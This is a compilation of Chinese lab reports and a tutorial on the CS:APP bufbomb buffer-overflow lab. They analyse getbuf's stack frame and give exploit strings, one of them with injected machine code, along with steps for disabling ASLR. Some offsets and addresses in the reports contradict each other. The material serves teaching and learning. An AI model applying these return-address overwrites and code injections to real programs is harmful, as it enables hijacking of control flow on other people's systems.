精华内容
下载资源
问答
  • 就是计算机系统基础的那个缓冲区溢出实验实验报告很详细。
  • 缓冲区溢出攻击实验

    2012-05-07 21:49:47
    缓冲区溢出攻击实验,有基本的攻击和shellcode的攻击
  • 计算机系统(2) 实验四 缓冲区溢出攻击实验一、 实验目标:二、实验环境:三、实验内容四、实验步骤和结果(一)返回到smoke(二)返回到fizz()并准备相应参数(三)返回到bang()且修改global_value五、实验总结与...

    一、 实验目标:

    1. 理解程序函数调用中参数传递机制;
    2. 掌握缓冲区溢出攻击方法;
    3. 进一步熟练掌握GDB调试工具和objdump反汇编工具。

    二、实验环境:

    1. 计算机(Intel CPU)
    2. Linux 64位操作系统
    3. GDB调试工具
    4. objdump反汇编工具

    三、实验内容

            本实验设计为一个黑客利用缓冲区溢出技术进行攻击的游戏。我们仅给黑客(同学)提供一个二进制可执行文件bufbomb和部分函数的C代码,不提供每个关卡的源代码。程序运行中有3个关卡,每个关卡需要用户输入正确的缓冲区内容,否则无法通过管卡!

            要求同学查看各关卡的要求,运用GDB调试工具和objdump反汇编工具,通过分析汇编代码和相应的栈帧结构,通过缓冲区溢出办法在执行了getbuf()函数返回时作攻击,使之返回到各关卡要求的指定函数中。第一关只需要返回到指定函数,第二关不仅返回到指定函数还需要为该指定函数准备好参数,最后一关要求在返回到指定函数之前执行一段汇编代码完成全局变量的修改。

            实验代码bufbomb和相关工具(sendstring/makecookie)的更详细内容请参考“实验四 缓冲区溢出攻击实验.pptx”。

            本实验要求解决关卡1、2、3,给出实验思路,通过截图把实验过程和结果写在实验报告上。

    四、实验步骤和结果

            首先利用反汇编命令查看getbuf函数的汇编代码,以便分析getbuf在调用时的栈帧结构,汇编代码如下:

    (一)返回到smoke

    【解题思路】
            本实验中,bufbomb中的test()函数将会调用getbuf()函数,getbuf()函数再调用gets()从标准输入设备读入字符串。

            系统函数gets()未进行缓冲区溢出保护。其代码如下:

    int getbuf()
    {
        char buf[12];
        Gets(buf);
        return 1;
    }
    

            我们的目标是使getbuf()返回时,不返回到test(),而是直接返回到指定的smoke()函数。

            为此,我们可以通过构造并输入大于getbuf()中给出的数据缓冲区的字符串而破坏getbuf()的栈帧,替换其返回地址,将返回地址改成smoke()函数的地址。

    【解题过程】
            分析getbuf()函数的汇编代码,不难发现,getbuf()在保存%ebp的旧值后,将%ebp指向%esp所指的位置,然后将栈指针减去0x28来分配额外的20个字节的地址空间。字符数组buf的位置用%ebp下0x18(即24)个字节来计算。然后调用Gets()函数,读取的字符串返回到%ebp-0x18,即%ebp-24。

            通过分析,可做如下栈帧示意图:
    在这里插入图片描述

            从以上分析可得,只要输入字符比较短时,gets返回的字符串(包括末尾的‘\0’)就能够放进buf分配的空间里。而长一些的字符串就会导致gets返回字符串过长而覆盖栈上存储的某些信息。

    随着字符串变长,下面的信息会被破坏:
    在这里插入图片描述

            因此,我们要替换返回地址,只需要构造一个长度至少为32的字符串,其中的第011个字符放进buf分配的空间里,第1223个字符放进程序分配后未使用的空间里,第24~27个字符覆盖保存的%ebp旧值,第28-31个字符覆盖返回地址。

            由于替换掉返回地址后,getbuf()函数将不会再返回到test()中,所以覆盖掉test()的%ebp旧值并不会对程序有任何影响。因此构造的长度为32的字符串前28个字符可以为任意值,而后面四个字符为smoke()函数的地址。通过反汇编查看代码,可以发现,smoke函数的地址为08048eb0。
    在这里插入图片描述

            由于我的学号是2019284073,因此,不妨构造如下攻击输入语句:
    20192840732019284073201928407320192840732019284073000000b08e0408

    【测试结果】
            此时我们进行测试,使用管道将输入流重定向到bufbomb中:
    在这里插入图片描述

            答案正确,成功地调用了smoke函数。

    (二)返回到fizz()并准备相应参数

    【解题思路】
            这一关要求返回到fizz()并传入自己的cookie值作为参数,破解的思路和第一关是类似的,构造一个超过缓冲区长度的字符串将返回地址替换成fizz()的地址,只是增加了一个传入参数,所以在读入字符串时,要把fizz()函数读取参数的地址替换成自己的cookie值,具体细节见解题过程。

    【解题过程】
            首先观察fizz()的汇编代码:
    在这里插入图片描述

            从汇编代码可知,fizz()函数被调用时首先保存%ebp旧值并分配新的空间,然后读取%ebp-0x8地址处的内容作为传入的参数,要求传入的参数是自己的cookie值。也就是说传入的参数其实是存在%ebp-0x8处的,具体的栈帧结构如下:
    在这里插入图片描述

    对应到getbuf()函数中的栈帧结构如下:
    在这里插入图片描述

            由以上结构不难判断出,我们需要读入buf的字符串为“28个任意字符+fizz()的地址+4个任意的字符+自己的cookie值”。

            通过反汇编,可以知道fizz()的地址为0x08048e60。

            再利用makecookie生成自己的cookie值为642b7ea2 。
    在这里插入图片描述

            由于我的学号是2019284073,因此,不妨构造如下攻击输入语句:
    20192840732019284073201928407320192840732019284073000000608e040800000000a27e2b64

    【测试结果】
            此时我们进行测试,使用管道将输入流重定向到bufbomb中:
    在这里插入图片描述

            答案正确,成功地调用了fizz函数。

    (三)返回到bang()且修改global_value

    【解题思路】
            这一关要求先修改全局变量global_value的值为自己的cookie值,再返回到band()。为此需要先编写一段代码,在代码中把global_value的值改为自己的cookie后返回到band()函数。将这段代码通过GCC产生目标文件后读入到buf数组中,并使getbuf函数的返回到buf数组的地址,这样程序就会执行我们写的代码,修改global_value的值并调用band()函数。具体细节见解题过程。

    【解题过程】
            首先,为了能精确地指定跳转地址,先在root权限下关闭Linux的内存地址随机化:
    在这里插入图片描述

            观察bang()的汇编代码:
    在这里插入图片描述

            很明显,bang()函数首先读取0x804a1c4和0x804a1d4的地址的内容并进行比较,要求两个地址中的内容相同,我们不妨使用gdb查看对应地址的值:
    在这里插入图片描述

            可以发现,0x804a1c4就是全局变量global_value的地址,0x804a1d4是cookie的地址。因此,我们只要在自己写的代码中,把地址0x804a1d4的内容存到地址0x804a1c4即可。通过反汇编,可以获得bang()函数的入口地址为0x08048e10。

            此时,可以确定我们自己写的代码要干的事情了。首先是将global_value的值设置为cookie的值,也就是将0x804a1c4的值设置为0x804a1d4的值,然后将bang()函数的入口地址0x08048e10压入栈中,这样当函数返回的时候,就会直接取栈顶作为返回地址,从而调用bang()函数。接着函数返回,此时返回的地址就是上一条语句中压入栈中的地址,也就是bang()函数的入口地址了。

            不妨创建一个temp.s的文件用于存汇编代码:
    在这里插入图片描述

            通过gcc编译该汇编代码,再反编译输出到temp.txt中。
    在这里插入图片描述
    在这里插入图片描述

            在将这段机器码放入buf数组中后,为了能让getbuf()返回到buf数组处执行我们的代码,需要想办法得到buf数组的地址。为此,用gdb断点调试查看执行getbuf()时ebp的值为0xffffbe28。
    在这里插入图片描述

            从第一关中对getbuf()函数栈帧结构的分析可知buf数组的首地址为%ebp-0x18,即0xffffbe18。

            综上所述,最后我们要构造的字符串为自己写的汇编代码生成的机器码(20个字符)+8个任意字符+buf数组的首地址,则对应的字符串为:
    488b1425d4a1040848891425c4a1040848c7c2108e0408ffe200000010beffff

    【测试结果】
            此时我们进行测试,使用管道将输入流重定向到bufbomb中:
    在这里插入图片描述

            答案正确,成功地将golbal_value设置为了我的cookie。

    五、实验总结与体会

    本次实验中,复习了之前学过的很多知识:

    • 寄存器的功能:
    • 寻址方式:
    • 操作指令
              通过本实验,我学习了利用缓冲区溢出漏洞对程序进行攻击的方法,对程序运行时的栈帧结构有了跟深层次的了解。也学会了通过使用gdb调试完成对程序的运行情况进行检查并获取程序运行过程中的值。
              此外,本次实验给我的启示是,在自己编写程序过程中,也需要尤为注意缓冲区溢出的情况,防范缓冲区溢出攻击。
    展开全文
  • 掌握缓冲区溢出攻击方法; 进一步熟练掌握GDB调试工具和objdump反汇编工具。 二、实验环境: 计算机(Intel CPU) Linux 64位操作系统 GDB调试工具 objdump反汇编工具 三、实验内容 本实验设计为一个黑客利用缓冲...

    github地址

    一、 实验目标:

    1. 理解程序函数调用中参数传递机制;
    2. 掌握缓冲区溢出攻击方法;
    3. 进一步熟练掌握GDB调试工具和objdump反汇编工具。

    二、实验环境:

    1. 计算机(Intel CPU)
    2. Linux 64位操作系统
    3. GDB调试工具
    4. objdump反汇编工具

    三、实验内容

    本实验设计为一个黑客利用缓冲区溢出技术进行攻击的游戏。我们仅给黑客(同学)提供一个二进制可执行文件bufbomb和部分函数的C代码,不提供每个关卡的源代码。程序运行中有3个关卡,每个关卡需要用户输入正确的缓冲区内容,否则无法通过管卡!
    要求同学查看各关卡的要求,运用GDB调试工具和objdump反汇编工具,通过分析汇编代码和相应的栈帧结构,通过缓冲区溢出办法在执行了getbuf()函数返回时作攻击,使之返回到各关卡要求的指定函数中。第一关只需要返回到指定函数,第二关不仅返回到指定函数还需要为该指定函数准备好参数,最后一关要求在返回到指定函数之前执行一段汇编代码完成全局变量的修改。

    实验代码bufbomb和相关工具(sendstring/makecookie)的更详细内容请参考“实验四 缓冲区溢出攻击实验.pptx”。

    本实验要求解决关卡1、2、3,给出实验思路,通过截图把实验过程和结果写在实验报告上。

    四、实验步骤和结果

    因为本次实验用到的可执行文件是32位,而实验环境是64位的,需要先安装一个32位的库,在root权限下安装如下所示:
    在这里插入图片描述
    还需要安装sendmail
    在这里插入图片描述
    首先利用反汇编命令查看getbuf函数的汇编代码,以便分析getbuf在调用时的栈帧结构,汇编代码如下:
    在这里插入图片描述

    步骤1 返回到smoke()

    1.1 解题思路

    本实验中,bufbomb中的test()函数将会调用getbuf()函数,getbuf()函数再调用gets()从标准输入设备读入字符串。

    系统函数gets()未进行缓冲区溢出保护。其代码如下:

    int getbuf()
    {
        char buf[12];
        Gets(buf);
        return 1;
    }
    

    我们的目标是使getbuf()返回时,不返回到test(),而是直接返回到指定的smoke()函数。

    为此,我们可以通过构造并输入大于getbuf()中给出的数据缓冲区的字符串而破坏getbuf()的栈帧,替换其返回地址,将返回地址改成smoke()函数的地址。

    1.2 解题过程

    对于第一关:
    在这里插入图片描述
    分析getbuf()函数的汇编代码,可以发现,getbuf()在保存%ebp的旧值后,将%ebp指向%esp所指的位置,然后将栈指针减去0x28来分配额外的20个字节的地址空间。字符数组buf的位置用%ebp下0x18(即24)个字节来计算。然后调用Gets()函数,读取的字符串返回到%ebp-0x18,即%ebp-24。

    具体的栈帧结构如下:
    在这里插入图片描述
    从以上分析可得,只要输入不超过11个字符,gets返回的字符串(包括末尾的null)就能够放进buf分配的空间里。长一些的字符串就会导致gets覆盖栈上存储的某些信息。

    随着字符串变长,下面的信息会被破坏:
    在这里插入图片描述
    因此,我们要替换返回地址,需要构造一个长度至少为32的字符串,其中的第0 ~ 11个字符放进buf分配的空间里,第12 ~ 23个字符放进程序分配后未使用的空间里,第24~27个字符覆盖保存的%ebp旧值,第28-31个字符覆盖返回地址。

    由于替换掉返回地址后,getbuf()函数将不会再返回到test()中,所以覆盖掉test()的%ebp旧值并不会有什么影响。也就是说我们构造的长度为32的字符串前28个字符随便是啥都行,而后面四个字符就必须能表示smoke()函数的地址。所以我们要构造的字符串就是“28个任意字符+smoke()地址”。任意的28个字符都用十六进制数00填充就行。

    利用objdump查看smoke()函数的地址如下:
    在这里插入图片描述
    由此可得smoke()函数的地址是0x08048eb0,考虑小端法表示,对应的我们要构造的字符串是:

    00000000000000000000000000000000000000000000000000000000b08e0408
    

    将输入的字符串保存到0.txt中。

    1.3 最终结果截图

    在这里插入图片描述
    在这里插入图片描述

    步骤2 返回到fizz()并准备相应参数

    2.1 解题思路

    这一关要求返回到fizz()并传入自己的cookie值作为参数,破解的思路和第一关是类似的,构造一个超过缓冲区长度的字符串将返回地址替换成fizz()的地址,只是增加了一个传入参数,所以在读入字符串时,要把fizz()函数读取参数的地址替换成自己的cookie值,具体细节见解题过程。

    2.2 解题过程

    首先还是利用objdunp查看并分析fizz()函数的汇编代码:
    在这里插入图片描述
    从汇编代码可知,fizz()函数被调用时首先保存%ebp旧值并分配新的空间,然后读取%ebp-0x8地址处的内容作为传入的参数,要求传入的参数是自己的cookie值。也就是说传入的参数其实是存在%ebp-0x8处的,具体的栈帧结构如下:
    在这里插入图片描述
    对应到getbuf()函数中的栈帧结构如下:
    在这里插入图片描述
    由以上结构不难判断出,我们需要读入buf的字符串为“28个任意字符+fizz()的地址+4个任意的字符+自己的cookie值”,每个字符还是用十六进制数表示。

    为此,首先利用objdump得到fizz()的地址为0x08048e60:
    在这里插入图片描述
    再利用makecookie生成自己的cookie值为0x7e9ebd07:
    在这里插入图片描述
    任意的字符依旧用00表示,则最后我们得到构造出来的字符串为:

    00000000000000000000000000000000000000000000000000000000608e04080000000007bd9e7e
    

    将该字符串保存在1.txt中:
    在这里插入图片描述
    然后通过sendstring将1.txt转换成二进制格式,再通过管道输入到bufbomb中:
    在这里插入图片描述

    2.3 最终结果截图

    从以上过程可得,最后成功利用缓冲区溢出漏洞,让getbuf()直接返回到fizz()函数并传入自己的cookie值作为参数,最终结果截图如下:
    在这里插入图片描述

    步骤3 返回到bang()且修改global_value

    3.1 解题思路

    这一关要求先修改全局变量global_value的值为自己的cookie值,再返回到band()。为此需要先编写一段代码,在代码中把global_value的值改为自己的cookie后返回到band()函数。将这段代码通过GCC产生目标文件后读入到buf数组中,并使getbuf函数的返回到buf数组的地址,这样程序就会执行我们写的代码,修改global_value的值并调用band()函数。具体细节见解题过程。

    3.2 解题过程

    首先,为了能精确地指定跳转地址,先在root权限下关闭Linux的内存地址随机化:
    在这里插入图片描述
    用objdump查看bang()函数的汇编代码如下:
    在这里插入图片描述

    很明显,bang()函数首先读取0x804a1c4和0x804a1d4的地址的内容并进行比较,要求两个地址中的内容相同:
    在这里插入图片描述
    用gdb调试命令查看:
    在这里插入图片描述
    gdb可以发现,0x804a1c4就是全局变量global_value的地址,0x804a1d4是cookie的地址。因此,我们只要在自己写的代码中,把地址0x804a1d4的内容存到地址0x804a1c4就行了。

    再利用objdump得到bang()函数的入口地址为0x08048e10:
    在这里插入图片描述
    到这里,就可以确定我们自己写的代码要干的事情了。首先是将global_value的值设置为cookie的值,也就是将0x804a1c4的值设置为0x804a1d4的值,然后将bang()函数的入口地址0x08048e10压入栈中,这样当函数返回的时候,就会直接取栈顶作为返回地址,从而调用bang()函数。接着函数返回,此时返回的地址就是上一条语句中压入栈中的地址,也就是bang()函数的入口地址了。

    为此,新建一个名为3.s的文件,里面写相应的汇编代码:
    在这里插入图片描述
    通过gcc编译该汇编代码,再反编译输出到code.txt中:
    在这里插入图片描述
    查看mycode.txt中生成的对应汇编代码的机器码如下:
    在这里插入图片描述
    在将这段机器码放入buf数组中后,为了能让getbuf()返回到buf数组处执行我们的代码,需要想办法得到buf数组的地址。为此,用gdb断点调试查看执行getbuf()时ebp的值为0xffffb148:
    在这里插入图片描述
    从第一关中对getbuf()函数栈帧结构的分析可知buf数组的首地址为%ebp-0x18,即0xffffbaf0

    综上所述,最后我们要构造的字符串为自己写的汇编代码生成的机器码(20个字符)+8个任意字符+buf数组的首地址,任意字符依然取00,则对应的字符串为:

    8b1425d4a10408891425c4a1040868108e0408c30000000000000000f0baffff
    

    将该字符串保存在2.txt中:
    在这里插入图片描述
    然后通过sendstring将2.txt转换成二进制格式,再通过管道输入到bufbomb中:
    在这里插入图片描述

    3.3 最终结果截图

    根据以上解题过程,利用缓冲区溢出,让程序执行自己写的汇编代码对全局变量进行修改后,成功调用了bang()函数。最后结果截图如下:
    在这里插入图片描述

    展开全文
  • 缓冲区溢出攻击实验实验介绍实验任务实验数据目标程序 bufbomb 说明bufbomb 程序接受下列命令行参数目标程序bufbomb中函数之间的调用关系缓冲区溢出理解目标程序调用的getbuf函数:过程调用的机器级表示test函数调用...

    缓冲区溢出攻击实验

    实验介绍

    实验任务

    实验数据

    目标程序 bufbomb 说明

    bufbomb 程序接受下列命令行参数

    目标程序bufbomb中函数之间的调用关系

    缓冲区溢出理解

    目标程序调用的getbuf函数:

    过程调用的机器级表示

    test函数调用getbuf函数

    工具程序 hex2raw 说明

    攻击字符串示例

    辅助程序makecookie

    测试攻击字符串

    实验基本步骤

    实验Level 0: smoke

    实验目的:

    思路分析

    Level 0求解思路

    GDB调试观察求解过程

    实验Level 1: fizz

    实验目的:

    注意事项

    思路分析

    Level 1求解思路

    GDB调试观察Level 1求解过程

    实验Level 2: bang

    实验目的:

    注意事项

    思路分析

    Level 2求解思路

    构造自定义攻击指令bang.s

    GDB调试观察Level 2求解过程

    实验提示:生成对应汇编指令序列的字节代码

    实验介绍

    此次实验的目的在于加深对 IA-32 过程调用规则和栈结构的具体理解。实验的主要内容是对一个可执行程序“bufbomb”实施一系列缓冲区溢出攻击(buffer overflow attacks),也就是设法通过造成缓冲区溢出来改变该程序的运行内存映像(例如将专门设计的字节序列插 入到栈中特定内存位置)和行为,以实现实验预定的目标。

    实验任务

    实验中需要针对目标可执行程序 bufbomb,分别完成多个难度递增的缓冲区溢出攻击。

    6个难度逐级递增的实验级别:

    Level 0: smoke (使目标程序调用smoke函数)

    Level 1: fizz (使目标程序使用特定参数调用fizz函数)

    Level 2: bang (使目标程序调用bang函数并修改全局变量)

    Level 3: rumble (使目标程序调用rumble函数并传递调用参数)

    Level 4: boom (包含栈帧修复的无感攻击,并传递有效返回值)

    Level 5: kaboom (实现栈帧地址随机变化下的有效攻击)

    每级实验需根据任务目标,设计、构造1个攻击字符串, 对目标程序实施缓冲区溢出攻击,完成相应目标

    实验数据

    在本实验中,首先你需要从下列链接下载包含本实验相关文件的一个 tar 文件:

    http://cs.nju.edu.cn/sufeng/course/mooc/0809NJU064_buflab.tar

    可在 Linux 实验环境中使用命令“tar xvf 0809NJU064_buflab.tar”将其中包含的文件 提取到当前目录中。该 tar 文件中包含如下实验所需文件:

    bufbomb: 实验需要攻击的目标 buffer bomb 程序。

    makecookie: 该程序基于命令行参数给出的 ID,产生一个唯一的由 8 个 16 进制数字组成的字节序列(例如 0x1005b2b7),称为“cookie”,用作实验中可能需要置入栈中的数据之一。

    hex2raw: 字符串格式转换程序。

    目标程序 bufbomb 说明

    bufbomb 程序接受下列命令行参数

    -u userid: 以给定的用户ID“userid”运行程序。在每次运行程序时均应指定该参数,因为 bufbomb 程序将基于该 ID 决 定你应该使用的 cookie 值(与 makecookie 程序的输出相同),而 bufbomb 程序 运行时的一些关键栈地址取决于该 cookie 值。

    -h: 打印可用命令行参数列表

    -n: 以“Nitro”模式运行,用于 kaboom 实验阶段

    目标程序bufbomb中函数之间的调用关系

    5445556f9b294b2a8d78af8183ee8c7c.png

    如图所示,bufbomb中main函数调用了launcher函数,launcher函数调用了launch函数,launch函数进一步调用了test函数,而test函数又调用了getbuf函数。在实验中目标程序被攻击的地方,实际上位于getbuf函数中,可以看到test函数还有一个名为testn的版本,同样getbuf函数也有一个getbufn的版本。

    testn、getbufn仅在Nitro模式(Level 4 :kaboom)中被调用,其它级别均调用 test、getbuf函数,最后一个实验级别kaboom中,launch,testn,getbufn函数会被反复调用多次(默认为5次),以测试所实现攻击的鲁棒性,只有当连续5次攻击都成功时,才认为完成了最后的实验级别。

    缓冲区溢出理解

    作为被目标攻击的目标程序,bufbomb程序中容易被实施缓冲区溢出攻击的弱点,实际上位于前面所示函数调用层次最下层的那个getbuf函数中。

    目标程序调用的getbuf函数:

    /* Buffer size for getbuf */

    int getbuf()

    {

    other variables ...;

    char buf[NORMAL_BUFFER_SIZE];

    Gets(buf);

    return 1;

    }

    在这个getbuf函数中首先定义了一个长度固定为NORMAL_BUFFER_SIZE的字符数组,然后调用Gets函数向数组中写入字符串。其中,过程 Gets 类似于标准库过程 gets,它从标准输入读入一个字符串(以换行‘\n’或 文件结束 end-of-file 字符结尾),并将字符串(以 null 空字符结尾)存入指定的目标内存位 置。在 getbuf 过程代码中,目标内存位置是具有 NORMAL_BUFFER_SIZE 个字节存储空间的 数组 buf,而 NORMAL_BUFFER_SIZE 是大于等于 32 的一个常数。

    过程 **Gets()**并不判断 buf 数组是否足够大而只是简单地向目标地址复制全部输入 字符串,因此有可能超出预先分配的存储空间边界,即缓冲区溢出。如果用户输入给 getbuf() 的字符串不超过(NORMAL_BUFFER_SIZE-1)个字符长度的话,很明显 **getbuf()**将正常返回 1。

    如下列运行所示:

    3a10de25d0bf0e769fa7163a315f6bf0.png

    但是,如果输入一个更长的字符串,则可能会发生类似下列的错误:

    06d1ef663ba907d167f0b02d094e061f.png

    过程调用的机器级表示

    为了理解缓冲区溢出攻击的原理,以过程调用的基于栈桢的机器级实现机制来进一步理解。

    4191a8df354869f58b283f943b2f961a.png

    栈桢:当前执行过程在内存中对应的一个区域,其中保存了当前局部变量和调用现场等重要的状态信息,每个过程在执行时都对应自己的栈桢区域。

    如图中所示,当一个过程调用另外一个过程时,被调用过程会生成一个自己的栈桢。在IA32 Linux平台上,它位于比调用过程的栈桢更低的内存地址上。在一个过程的栈桢中,一开始保存的是由该过程保存的寄存器的原始内容,其中取决于过程的具体实现指令,通常最先保存的是栈桢基址寄存器EBP在调用过程中的原始值,又称为旧值。而EBP寄存器的当前值就是指向栈桢中该旧值的存储位置,它标示了当前过程的栈桢的起始位置,在栈桢其后的存储位置中保存了本过程定义和使用的非静态的局部变量。其中前面介绍的getbuf函数中的buf字符数组就是位于此处,可见Gets函数向buf的数组的写入操作如果超出了数组的边界,会改写和破坏栈中其它重要的信息。包括上面所述的局部变量和寄存器的旧值。

    具体来讲,随着字符串数据自buf数组的起始位置开始不断的被写入,数据将逐步填充buf数组的存储空间,当写入操作超出了buf数组的边界以后,将进一步依次覆盖,改写保存的寄存器的值。接下来的写入操作将超出当前过程的栈桢的边界,进入到调用过程的栈桢,并首先改写其中保存的一个重要信息——返回地址,该返回地址是当前过程执行结束后,控制返回调用过程时将被执行的指令的地址,一旦缓冲区写入溢出过程中被改写为不正确的值或者指向恶意的指令代码,将使程序的执行逻辑在当前过程结束后发生错误,或者转去执行恶意代码。这就是缓冲区溢出攻击得以实现的基本原理,即超出栈桢中数组缓冲区的存储边界,向栈桢中写入任意数据,从而破坏栈桢的结构。

    test函数调用getbuf函数

    void test()

    {

    int val;

    /* Put canary on stack to detect possible corruption */

    volatile int local = uniqueval();

    val = getbuf();

    /*Checkforcorruptedstack*/

    if (local != uniqueval()) {

    printf("Sabotaged!: the stack has been corrupted\n");

    }

    else if (val == cookie) {

    printf("Boom!: getbuf returned 0x%x\n", val); validate(3);

    }

    else {

    printf("Dud: getbuf returned 0x%x\n", val);

    }

    }

    被攻击的包含缓冲区写入逻辑的getbuf函数在程序中被test函数所调用后序正常情况下应该从test函数中

    getbuf调用后的第一条语句开始继续执行,这是程序的正常行为,因为test函数栈帧最后保存的返回地址单元中保存的值,在正常情况下,是指向 test函数中调用getbuf函数的call指令后 的第一条指令的地址。然而本实验各阶段的目的是改变该行为。

    工具程序 hex2raw 说明

    由于攻击字符串(exploit string)可能包含不属于 ASCII 可打印字符集合的字节取值, 因而无法直接编辑输入。为此,实验提供了工具程序 hex2raw 帮助构造这样的字符串。该程序从标准输入接收一个采用十六进制格式编码的字符串(其中使用两个十六进制数字对攻击字符串中每一字节的值进行编码表示,不同目标字节的编码之间用空格或换行等空白字符分 隔),进一步将输入的每对编码数字转为二进制数表示的单个目标字节并逐一送往标准输出。

    注意,为方便理解攻击字符串的组成和内容,可以用换行分隔攻击字符串的编码表示中 的不同部分,这并不会影响字符串的解释和转换。hex2raw 程序还支持 C 语言风格的块注释 以便为攻击字符串添加注释,增加了转换前攻击字符串的可读性(如下例),这同样不影响字符串的解释与使用。

    bf 66 7b 32 78 / mov $0x78327b66,%edi */*

    攻击字符串示例

    注意务必要在开始与结束注释字符串(“/”和“/”)前后保留空白字符,以便注释部分被 程序正确忽略。

    另外,注意:

    攻击字符串中不能包含值为 0x0A 的字节,因为该字符对应换行符‘\n’,当 Gets过程遇到该字符时将认为该位置为字符串的结束,从而忽略其后的字符串内容。

    由于 hex2raw 期望字节由两个十六进制格式的数字表示,因此如果想构造一个值为 0 的字节,应指定 00 进一步,可将上述十六进制数字对序列形式的攻击字符串(例如“68 ef cd ab 00 83 c0 11 98 ba dc fe”)保存于一文本文件中,用于测试等。

    以下是一个攻击字符串的示例:

    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

    00 00 00 00 00 00 00 00 00 00 00 00 00 00

    /* begin of buffer */

    20 35 68 55 /* new %ebp */

    b7 34 68 55 /* new address */

    辅助程序makecookie

    如前所述,本实验部分阶段的正确解答基于从 bufbomb 命令行选项 userid计算生成的 cookie 值。一个 cookie 是由 8 个 16 进制数 字组成的一个字节序列(例如 0x1005b2b7),对每一个 userid 是唯一的。可以如下使用 makecookie 程序生成对应特定 userid 的 cookie,即将 userid 作为 makecookie 程序的唯一 参数。

    cf0e0d8b9a7a0f9c75b5dcce19c6da3a.png

    0x420e0c1b 即为 0809NJU064 对应的 cookie 值。

    测试攻击字符串

    可将攻击字符串保存在一文件 solution.txt 中,使用如下命令(将参数[userid]替换为自己想要改成的Id )测试攻击字符串在 bufbomb 上的运行结果,并与相应难度级的期望输出对比,以验证相应实验阶段通过与否。

    linux>cat solution.txt | ./hex2raw | ./bufbomb -u [userid]

    上述命令使用一系列管道操作符将程序 hex2raw 从编码字符串转换得到的目标攻击字节序 列输入 bufbomb 程序中进行测试。

    除上述方式以外,还可以如下将攻击字符串的二进制字节序列存于一个文件中,并使用 I/O 重定向将其输入给 bufbomb:

    linux>./hex2raw < solution.txt > solution-raw.txt

    linux>./bufbomb -u [userid] < solution-raw.txt

    该方法也可用于在 GDB 中运行 bufbomb 的情况:

    linux>gdb bufbomb

    (gdb) run -u [userid] < solution-raw.txt

    当你设计的攻击字符串成功完成了预定的缓冲区溢出攻击目标,例如实验 Level 0 (smoke),程序将输出类似如下的信息,提示你的攻击字符串(此例中保存于文件 smoke.txt 中)设计正确:

    ./hex2raw < smoke.txt | ./bufbomb -u 0809NJU064

    Userid: 0809NJU064

    Cookie: 0x420e0c1b

    Type string:Smoke!: You called smoke()

    VALID

    NICE JOB!

    实验基本步骤

    本实验各个级别的求解过程,都包括类似的如下三个主要步骤。

    反汇编二进制目标程序bufbomb,获得其汇编指令代码

    从汇编指令中分析获得getbuf函数执行时的栈 帧结构,定位buf数组缓冲区在栈帧中的位置

    根据栈帧中需要改变的目标信息及其与缓冲区 的相对位置,设计攻击字符串

    各个实验的不同级别的主要差别就在地三步,也就是说在不同级别里面需要改变的目标信息各不相同,因此,在在设计攻击字符串的时候,会有不同攻击字符串的设计解答。

    实验Level 0: smoke

    实验目的:

    构造攻击字符串,使得bufbomb目标程序在 getbuf函数执行return语句后,不是返回到test函数继续 执行,而是转而执行bufbomb程序中的smoke函数:

    void smoke() {

    printf("Smoke!: You called smoke()\n"); validate(0);

    exit(0);

    }

    思路分析

    利用objdump反汇编bufbomb执行文件,并将反汇编结果保存到bufbomb.txt文件中方便查看。

    objdump -d bufbomb>bufbomb.txt

    其中getbuf的汇编代码:

    08049c5a :

    8049c5a: 55 push %ebp

    8049c5b: 89 e5 mov %esp,%ebp

    8049c5d: 83 ec 48 sub $0x48,%esp

    8049c60: 83 ec 0c sub $0xc,%esp

    8049c63: 8d 45 c7 lea -0x39(%ebp),%eax

    8049c66: 50 push %eax

    8049c67: e8 b9 fa ff ff call 8049725

    8049c6c: 83 c4 10 add $0x10,%esp

    8049c6f: b8 01 00 00 00 mov $0x1,%eax

    8049c74: c9 leave

    8049c75: c3 ret

    如汇编指令所示,getbuf函数在调用Gets函数时,将缓冲区数组的起始地址作为参数压入栈中,并传递给Gets函数,从汇编指令可以看出,buf缓冲区开始于栈桢中地址EBP-0x39处,该参数的值即缓冲区的起始地址。是EBP寄存器的值减去0x39换成十进制就是57,基于以上分析和getbuf函数的汇编代码,我们可以画出如下图所示的getbuf函数的栈桢结构,以及其调用函数test的栈桢的底部区域结构:

    d9367fec2a33682bf0a531ce3bddf122.png

    在内存高地址上是test函数的栈桢,其底部保存的是返回地址,即其所调用的getbuf函数结束后将跳转到并继续执行的指令地址,在正常情况下这个地址是test函数中调用getbuf函数后的下一条指令的地址,在返回地址下面是ge tbuf函数栈桢的开始部分,保存了EBP寄存器在test函数中执行的旧值,getbuf栈桢中再往下就是buf数组缓冲区的存储空间。为了实施攻击我们需要获得该缓冲区确切的起始地址,如上面的getbuf汇编指令所示,getbuf函数在调用Gets函数时将缓冲区数组的起始地址作为参数压入栈中,并传递给了Gets函数,进一步我们可以从汇编指令看到,该参数的值就是缓冲区的起始地址,是EBP寄存器的值减去Ox39。

    另一方面,getbuf函数结束后,即执行最后的ret语句时, 将取出保存于test函数栈桢中的返回地址并跳转至它继续执行,如果我们把该返回地址的值改为本级别实验的目标——smoke函数饿首条指令的地址,则getbuf函数返回时,就会转到smoke函数执行,即达到了实验的目标。

    由栈桢结构可以看出,返回地址在栈桢中的地址是EBP寄存器的值加4,因此该返回地址的保存地址与缓冲区的起始地址之间相差:0x39+4 = 61个字节,也就是说如果向缓冲区写入66个字节后,再写入4个字节,将改写返回地址的值。

    Level 0求解思路

    将攻击字符串中自第67个字节开始的4个字节设置为实验的目标跳转地址,即smoke函数首条指令的地址,我们搜索bufbomb目标程序的反汇编代码可以发现smoke函数的首条指令的地址是0x080493e8,因此我们可以如下构造字符串:

    00 11 22 33 44 55 66 77 88 99

    00 11 22 33 44 55 66 77 88 99

    00 11 22 33 44 55 66 77 88 99

    00 11 22 33 44 55 66 77 88 99

    00 11 22 33 44 55 66 77 88 99

    00 11 22 33 44 55 66 /* end of buffer */

    00 11 22 33 /* saved %ebp */

    e8 93 04 08 /* smoke() address */

